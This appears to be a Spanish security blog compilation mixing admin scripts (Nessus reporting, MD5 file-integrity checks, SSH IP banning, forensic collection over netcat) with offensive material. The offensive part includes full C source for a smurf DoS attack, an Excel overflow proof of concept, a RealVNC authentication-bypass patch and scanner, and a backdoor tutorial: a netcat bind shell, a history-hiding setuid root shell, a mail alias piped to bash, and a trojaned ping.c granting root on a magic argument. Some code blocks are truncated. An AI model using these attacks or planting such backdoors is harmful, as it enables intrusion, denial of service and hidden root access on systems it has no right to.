Linux :: Análisis de vulnerabilidades
--------------------------------------------------------
#!/usr/bin/perl
use MIME::Lite;
# DATOS DE CONEXION
$NESSUS_SERVER = "127.0.0.1";
$NESSUS_PORT = 1241;
$USER = "skarvin";
$PASS = "password";
# RUTA NESSUS
$NESSUS = "/usr/local/bin/nessus";
# RUTA FICHERO DE HOSTS A ANALIZAR
$HOSTS = "targets.txt";
# Formatos del fichero de salida
# nbe, html, html_graph, text, xml, old-xml, tex, nsr
$FORMAT = "html";
# Ruta fichero de resultados
$RESULTS = "results.html";
system( "$NESSUS -q -T $FORMAT $NESSUS_SERVER $NESSUS_PORT" .
"-x $USER $PASS $HOSTS $RESULTS");
# Envio de correo con reporte de vulnerabilidades en formato HTML
$msg = MIME::Lite->new(
From =>'mantenimiento@empresa.es',
To =>'informatica@empresa.es',
Subject =>'Informe de vulnerabilidades',
Type =>'multipart/mixed'
);
$msg->attach(
Type =>'TEXT',
Data =>"Informe de vulnerabilidades de Empresa"
);
$msg->attach(
Type =>'text/html',
Path =>"$RESULTS",
Filename =>"$RESULTS",
Disposition => 'attachment'
);
$msg->send('smtp', 'mail.empresa.es');
open CMD, "rm -f $RESULTS";
--------------------------------------------------------
HIDS :: Detección de intrusos simple
El primero nos hace un hash MD5 de cada fichero de los directorios que le especificamos, el script es el siguiente:
#!/bin/bash |
Guardaremos el script en /usr/local/bin/integridad.sh y le daremos permisos de ejecución mediante: chmod +x /usr/local/bin/integridad.sh
NOTA: Una herramienta alternativa a este script es la proporcionada por The Coroner's Toolkit en la cual se puede reducir a esto:
# md5deep -r /bin /var/ww /etc > linux.md5
El segundo hará uso del primer script para obtener el hash de los ficheros y guardarlos en un fichero, comparará el fichero del día actual, con el del día anterior y enviará por correo electrónico las diferencias .
NOTA: Este script es una modificación del comentado aquí.
#!/usr/bin/perl use Net::SMTP; $MSG = "Modificaciones en los ficheros del servidor:\n\n"; system ("mv -f /var/log/.md5.1 /var/log/.md5.2"); system ("/usr/local/bin/integridad.sh > /var/log/.md5.1");
while (
$smtp = Net::SMTP->new('smtp.provider.com'); $smtp->mail('infointegridad@empresa.es'); $smtp->to('admin@empresa.es'); $smtp->data(); $smtp->datasend("Subject: Servidor: Integridad de ficheros\n\n"); $smtp->datasend($MSG); $smtp->dataend(); $smtp->quit; |
Guardaremos este escript tambien en /usr/local/bin/mail_md5.pl por ejemplo le daremos permisos de ejecución mediante:
# chmod +x /usr/local/bin/mail_md5.pl
Ahora solamente tendremos que agregar esta linea al crontab mediante:
crontab -e
00 08 * * * /usr/local/bin/mail_md5sum.pl
Esto hará que cada dia a las 8 de la mañana recibamos un correo con las modificaciones realizadas en las carpetas indicadas en el primer script.
NOTA: Por supuesto si un hacker accede a nuestro sistema y averigua este sistema, podría eliminar los ficheros de hash de /var/log/.md5.x por lo que si se opta por un sistema de detección de intrusos serio, lo mejor es instalar Tripwire.
Desarrollo :: Envío de e-mails mediante Perl
#!/usr/bin/perl
$MSG = "Correo de prueba!\n\n"; $smtp = Net::SMTP->new('smtp.provider.com'); #Origen $smtp->mail('skarvin@gmail.com'); #Destino $smtp->to('antonio@gemeil.com'); $smtp->data(); $smtp->datasend("Subject: Prueba Mail\n\n"); $smtp->datasend($MSG); $smtp->dataend(); $smtp->quit; |
SOCKETS - Linux :: Shell UDP - Cliente
/****************************************************************************** |
SOCKETS - Linux :: Shell UDP - Servidor
/***************************************************************************** |
Bloqueo de IP' s “Molestas”
Bloqueo de IP’s “Molestas”
Este sencillo script está probado en CentOS 4.3 y agrega a /etc/hosts.deny todas aquellas IP’s que sobrepasen el límite de reintentos, intentando acceder mediante ssh con usuarios inexistentes o mediante ataques de diccionario. Las IP’s baneadas no pueden volver a conectar por ssh y reciben un “Connection Refused”. También se pueden especificar IP’s en la variable whitelist para evitar banear nuestras propias IP’s mediante ip spoofing.
#!/bin/sh
#EXISTENTE Y PASSWORD INCORRECTO |
El ataque de los pitufos
/******************************************************************* Autor: skarvin e-mail: skarvin@gmail.com Este ataque realiza un ping con la ip de la victima a la direccion ip de broadcast de su misma subred, con lo cual todos los ordenadores de la red responderan a la vÃctima ********************************************************************/ #include <stdlib.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <net/ethernet.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/time.h> #include <malloc.h> #include <ctype.h> #include <net/if.h> #include <sys/ioctl.h> #include <fcntl.h> u_long get_ipbcast(char *); unsigned short in_cksum(unsigned short * , int ); int send_icmp_packet(unsigned long , unsigned long , char * , int, int); int main(int argc, char **argv){ struct in_addr in_s,in_d;/*source,dest*/ char ip[28]; int n_pkts; if(argc != 3){ printf("usage: %s victima num_pkts\n",argv[0]); exit(EXIT_FAILURE); } /*procedemos a verificar la ip introducida*/ if(inet_addr(argv[1])==INADDR_NONE){ printf("Dirección IP incorrecta!"); exit(EXIT_FAILURE); } in_d.s_addr = get_ipbcast("eth0"); strcpy(ip,(char *)inet_ntoa(in_d)); n_pkts=atoi(argv[2]); inet_aton(argv[1], &in_s); printf("Enviando %d paquetes a la dirección de broadcast %s desde %s\n\n",n_pkts,ip,argv[1]); /*enviamos los paquetes con solicitud de eco a la ip de broadcast*/ for(;n_pkts>0;n_pkts--) send_icmp_packet(in_d.s_addr,in_s.s_addr," ",sizeof(" "), ICMP_ECHO); } u_long get_ipbcast(char *iface) { /*Esta función devuelve la dirección de broadcast de la ip*/ int sd; struct ifreq ifr; struct in_addr inaddr; if((sd=socket(AF_INET,SOCK_DGRAM,0))<0) { perror("socket"); return 0; } bcopy(iface,ifr.ifr_name,IFNAMSIZ); if(ioctl(sd,SIOCGIFBRDADDR,&ifr)<0) { perror("ioctl(SIOCGIFADDR)"); return 0; } bcopy(&ifr.ifr_broadaddr.sa_data[2],&inaddr,sizeof(struct in_addr)); close(sd); return inaddr.s_addr; } int send_icmp_packet(unsigned long dst_ip, unsigned long src_ip, char * data, int data_size ,int icmp_type){ /* socket */ int sock; /* Longitud de un paquete ICMP */ unsigned int buffer_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + data_size; /* Paquete capaz con capacidad para un paquete ICMP */ unsigned char buffer[buffer_size]; memset(buffer, 0, buffer_size); /* Cabecera IP */ struct iphdr *ip = (struct iphdr *)buffer; /* Cabecera ICMP */ struct icmphdr *icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr)); /* Datos */ char *p_data = (buffer + sizeof(struct iphdr) + sizeof(struct icmphdr)); mempcpy (p_data, data, data_size); /* Creación del socket */ if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) == -1) { perror("socket()"); exit(EXIT_FAILURE); } /* Establece las opciones del socket */ int o = 1; if( setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&o,sizeof(o)) == -1 ) { perror("setsockopt()"); exit(EXIT_FAILURE); } /* Rellena la cabecera IP */ ip->version = 4; ip->ihl = 5; ip->id = htons(1234); ip->saddr = src_ip; ip->daddr = dst_ip; ip->ttl = 255; ip->protocol = IPPROTO_ICMP; ip->tot_len = buffer_size; ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr)); /* Rellena la cabecera ICMP */ icmp->type = icmp_type; icmp->code = 0; icmp->checksum = in_cksum((u_short *)icmp, sizeof(struct icmphdr)+data_size);; /* Rellena la estructura sockaddr_in */ struct sockaddr_in addr; addr.sin_family = AF_INET; /* EnvÃÂo del paquete */ if ((sendto(sock, buffer, buffer_size, 0, (struct sockaddr*)&addr, sizeof(struct sockaddr_in))) == -1 ) { perror("send()"); exit(EXIT_FAILURE); } } /*Funcion que calcula el checksum de un paquete Código obrenido de http://www.w00w00.org/files/misc/spoof.c*/ unsigned short in_cksum(unsigned short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } |
Prueba de concepto: MS Excel Remote Code Execution Exploit
En este script en perl, se demuestra donde radica la vulnerabilidad, parece ser que la librería hlink.dll no procesa correctamente los hipervínculos, por lo que un usuario podría crear un link especialmente creado para ejecutar código arbitrario.
En el script de abajo se muestra dicha vulnerabilidad.
############################### # excelsexywarez.pl # excel unicode overflow poc # by kcope in 2006 # thanks to revoguard and alex ############################### use Spreadsheet::WriteExcel; my $workbook = Spreadsheet::WriteExcel->new("FUCK.xls"); $worksheet = $workbook->add_worksheet(); $format = $workbook->add_format(); $format->set_bold(); $format->set_color('red'); $format->set_align('center'); $col = $row = 5; $worksheet->write($row, $col, "kcope in da house! Click on the link!!!", $format); $a="AAAAAAAAAAAAAAAAAAAAAA\\" x 500; $worksheet->write_url(0, 0, "$a", "LINK"); # milw0rm.com [2006-06-18] |
Prueba de concepto: MS Excel Remote Code Execution Exploit
Su autor es “Naveed Afzal”.
En el exploit de más abajo, se genera un fichero de Excel, que al ser ejecutado y clickando en el link, nos permite obtener una shell remota. (Escalofriante)
PD: Tal y como se especifica en los comentarios, el exploit es únicamente para fines educativos.
/*---------------------------- |
Análisis forense - Linux: Adquisición de datos Volátiles
Para recojer estos datos, es muy importante que en el equipo atacado, no ejecutemos ningún comando o herramienta por peligro a que pueda haber sido troyanizada. Para ello procederemos a ejecutar los binarios compilados estáticamente directamente desde un CD-ROM.
Para empezar, utilizaremos un equipo no comprometido para el almacenamiento de las pruebas en red, esto lo haremos ejecutando el siguiente comando en el equipo:
nc -l -p 9000 > data.dat
Así, pondremos a la escucha un puerto donde le iremos enviando la información desde la máquina comprometida.
Procederemos a listar los ficheros abiertos por los procesos para así detectar algún proceso/fichero sospechoso:
/mnt/cdrom/lsof -n | /mnt/cdrom/nc -w 3 IP 9000
Listamos las conexiones establecidas por los procesos:
/mnt/cdrom/netstat -nap | /mnt/cdrom/nc -w 3 IP 9000
Además, listamos la tabla de rutas:
/mnt/cdrom/netstat -nr | /mnt/cdrom/nc -w 3 IP 9000
Es importante hacer un análisis de puertos desde una máquina externa i compararla con la salida de netstat para poder asegurarnos que no hemos perdido de vista ningún proceso escuchando en ningún puerto, para ello usaremos nmap:
nmap -sS -p 1- IP_COMPROMETIDO
Listamos los ficheros que han sido eliminados pero que aún siguen abiertos por algún proceso en ejecución, esta utilidad, la encontraremos en el conjunto de herramientas de análisis forense The Coroner's Toolkit:
/mnt/cdrom/ils -o /dev/hda1 | /mnt/cdrom/nc -w 3 IP 9000
Listamos los procesos en ejecución:
/mnt/cdrom/ps -el | /mnt/cdrom/nc -w 3 IP 9000
Si mediante la orden anterior, encontráramos algún proceso sospechoso, podríamos analizarlo con la siguiente herramienta (también disponible en The Coroner's Toolkit).
/mnt/cdrom/pcat
Listaremos los usuarios conectados en el sistema:
/mnt/cdrom/who -uHl | /mnt/cdrom/nc -w 3 IP 9000
Para finalizar guardamos el proc, en el cual obtendremos información acerca de los procesos:
/mnt/cdrom/tar cf - /proc | /mnt/cdrom/nc -w 3 IP 9000
Con estos pasos, habremos recopilado mucha información acerca de la intrusión. Para hacer un análisis más exaustivo, habríamos de recopilar datos no volátiles mediante herramientas de Integridad de Ficheros, localización de ficheros borrados, tiempos MAC, etc... de los cuales hablaré en un siguiente post.
Referencias:
Know your enemy:: Honeynet Project
Prueba de Concepto: explotar el fallo de autentificación del servidor VNC de RealVNC 4.1.1.
Una vez obtenidas las fuentes, procederemos a modificarlas. Para ello accederemos al fichero vnc-4_1-javasrc\java\rfb\CConnection.java, editamos el fichero y accedemos a la linea 229, donde encontraremos el siguiente código:
if (secType != SecTypes.invalid) { os.writeU8(secType); os.flush(); vlog.debug("Choosing security type "+SecTypes.name(secType)+ "("+secType+")"); } } |
Pues bien, este exploit es tan simple como añadir la siguiente línea:
if (secType != SecTypes.invalid) { secType = SecTypes.none; os.writeU8(secType); os.flush(); vlog.debug("Choosing security type "+SecTypes.name(secType)+ "("+secType+")"); } } |
Voilá, ahora solo tenemos que compilar y ejecutar vncviewer mediante:
java.exe -jar vnc-4_1-javasrc\java\vncviewer.jar
La autentificación se salta y accedemos al equipo.
Abriendo una puerta trasera: algunos métodos con más o menos dificultad
El método más simple para crear una puerta trasera es mediante la utilización de Netcat.
Netcat es una herramienta GNU la cual nos permite leer y escribir a través de conexiones de red utilizando los protocolos TCP o UDP.
Pues bien Netcat nos ofrece una opción “-e” la cual nos asocia un programa a la conexión que establecemos:
$ nc -l localhost -p 1234 -e /bin/bash |
Ésta es sin duda, la forma más simple que conozco para crear una puerta trasera. Solamente necesitaríamos establecer conexión mediante telnet a máquina comprometida al puerto 1234 y obtendríamos una shell.
Los 2 siguientes métodos que os voy a describir son un tanto anticuados, pero por eso no dejan de ser curiosos.
Para éste backdoor, emplearemos un poco de programación en C. Para ello, haremos uso de éste simple programa, os recuerdo que para que este código funcione deberéis ser usuario root.
#include <unistd.h> #include <stdlib.h> main (){ char *cad[2]; cad[0]="/bin/bash"; cad[1]=NULL; unsetenv("HISTSIZE"); //eliminamos el historial setuid(0); setgid(0); execve(cad[0], cad, NULL); return 0; } |
Compilamos el código:
$ gcc back.c –o back
Una vez compilado, deberemos activar el bit de setuid del fichero resultante de la compilación de este modo:
$ chmod +s back
Así, si entramos al sistema como un usuario normal, nada más tendremos que ejecutar el ./back para obtener privilegios de root.
En éste método haremos uso del fichero /etc/aliases o /etc/mail/aliases en el cual se encuentran todas las redirecciones a las cuentas de correo creadas en el sistema, el fichero tiene esta estructura:
usenet: news
ftpadm: ftp
ftpadmin: ftp
ftp-adm: ftp
ftp-admin: ftp
hostmaster: root
mail: postmaster
postman: postmaster
post_office: postmaster
Como se puede ver, se redirigen los mails que llegan a las cuentas de la izquierda a las de la derecha. Siguiendo este formato, es posible redirigir también un mensaje a una instrucción de shell:
post_office: “|/bin/bash”
También podríamos redirigir el correo a cualquier otro comando. Ahora, solamente tenemos que enviar un correo especialmente formado para que al enviarlo a la cuenta post_office se procese línea a línea por la shell. El correo podría tener este aspecto:
#!/bin/bash nc –l –e /bin/bash –p 6969 > /dev/null 2>&1 & |
Los métodos mostrados hasta ahora podríamos decir que son un tanto antiguos y aunque hoy en dia están en desuso, sería difícil que actualmente funcionaran aunque nos podrían servir para salir del paso.
Creación de puertas traseras a partir de la modificación de utilidades comunes de administración:
Una forma válida para crear una puerta trasera más o menos discreta, es hacer uso de aplicaciones de uso corriente y que contengan por defecto el bit SUID activado.
Podemos utilizar por ejemplo la utilidad ping que se utiliza para testar conexiones mediante el protocolo ICMP.
Para poder modificar esta utilidad, necesitaremos obtener sus fuentes. Podemos encontrarlas en esta dirección http://mrtg.planetmirror.com/pub/ip-routing/iputils-current.tar.gz .
Una vez descargado y descomprimido, localizaremos el fichero correspondiente a ping (ping.c). Abrimos el fichero y nos centraremos en la función main:
… main(int argc, char **argv) { struct hostent *hp; int ch, hold, packlen; int socket_errno; u_char *packet; char *target, hnamebuf[MAXHOSTNAMELEN]; char rspace[3 + 4 * NROUTES + 1]; /* record route space */ icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); socket_errno = errno; uid = getuid(); setuid(uid); source.sin_family = AF_INET; preload = 1; … |
Como vemos, las lineas:
uid = getuid(); setuid(uid); |
Provocan que se pierdan los privilegios de root y se asignen los del usuario actual al programa.
if (strcmp(“skarvin”, argv[1])==0){ char *cad[2]; cad[0]="/bin/bash"; cad[1]=NULL; setuid(0); setgid(0); unsetenv(“HISTFILE”); execve(cad[0], cad, NULL); } |
Por lo que el código principal de la main en ping.c quedará de esta forma:
… main(int argc, char **argv) { if (strcmp(“skarvin”, argv[1])==0){ char *cad[2]; cad[0]="/bin/bash"; cad[1]=NULL; setuid(0); setgid(0); unsetenv(“HISTFILE”); execve(cad[0], cad, NULL); } struct hostent *hp; int ch, hold, packlen; int socket_errno; u_char *packet; char *target, hnamebuf[MAXHOSTNAMELEN]; char rspace[3 + 4 * NROUTES + 1]; /* record route space */ icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); socket_errno = errno; uid = getuid(); setuid(uid); source.sin_family = AF_INET; preload = 1; … |
Grave vulnerabilidad en RealVNC 4.1.1
Esta vulnerabilidad radica en un fallo en la autentificación que el cliente VNC envía al servidor, por lo que si el cliente modifica el tipo de autentificación, éste puede acceder sin ningún tipo de restricción por contraseña al servidor.
Se pueden ver la gran cantidad de gente que suele utilizar este software haciendo click en este link.
Y mediante este simple scanner, se puede comprobar la gravedad de este fallo:
#!/usr/bin/perl # scan for OpenVNC 4.11 authentication bypass use IO::Socket; $host = $ARGV[0]; $port = $ARGV[1] || 5900; $host or die("$0 #print "Connecting to $host:$port..."; $| = 1; ($sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp',)) ? print "success!\n" : die("failed\n"); #negotiate protocol $sock->read($protocol_version,12); print $sock $protocol_version; # print "Using protocol $protocol_version"; # get security types that we'll be ignoring $sock->read($security_types,1); $sock->read($hahaha,unpack('C',$security_types)); # choose no authentication print $sock "\x01"; # we should get "0000" back $sock->read($in,4); if(unpack('I',$in)) { die("Not vulnerable\n") }; # client initialize print $sock "\x01"; # if the server starts sending data we are in $sock->read($in,4); (unpack('I',$in)) ? print("$host Vulnerable!\n") : die("Not vulnerable\n") ; exit; |
Desde aquí recomiendamos actualizar a la versión 4.2.5, disponible aquí.
Tor: Un sistema anonimo de comunicacion por Internet
Aquí muestro unas imagen sobre como se realiza la navegación por la red de Tor:
Según la web de tor (http://tor.eff.org/) cuentan:
"El circuito se extiende un tramo cada vez y cada servidor a lo largo del camino conoce unicamente que servidor le proporciona los datos y a que servidor se los entrega. Ningun servidor individual conoce nunca el recorrido completo que ha tomado un paquete de datos. El cliente negocia un conjunto separados de claves de encriptacion para cada tramo a lo largo del circuito para asegurar que cada tramo no puede rastrear estas conexiones a medida que lo atraviesan."
Podemos utilizar cualquier programa por la red Tor, por lo que nuestro programa de mensajería, correo, navegador web, teminal Ssh, etc... podrán pasar a ser anónimos.
Existe un plugin para Firefox el cual os lo podéis bajar aquí el programa cliente de Tor os lo podéis bajar aquí.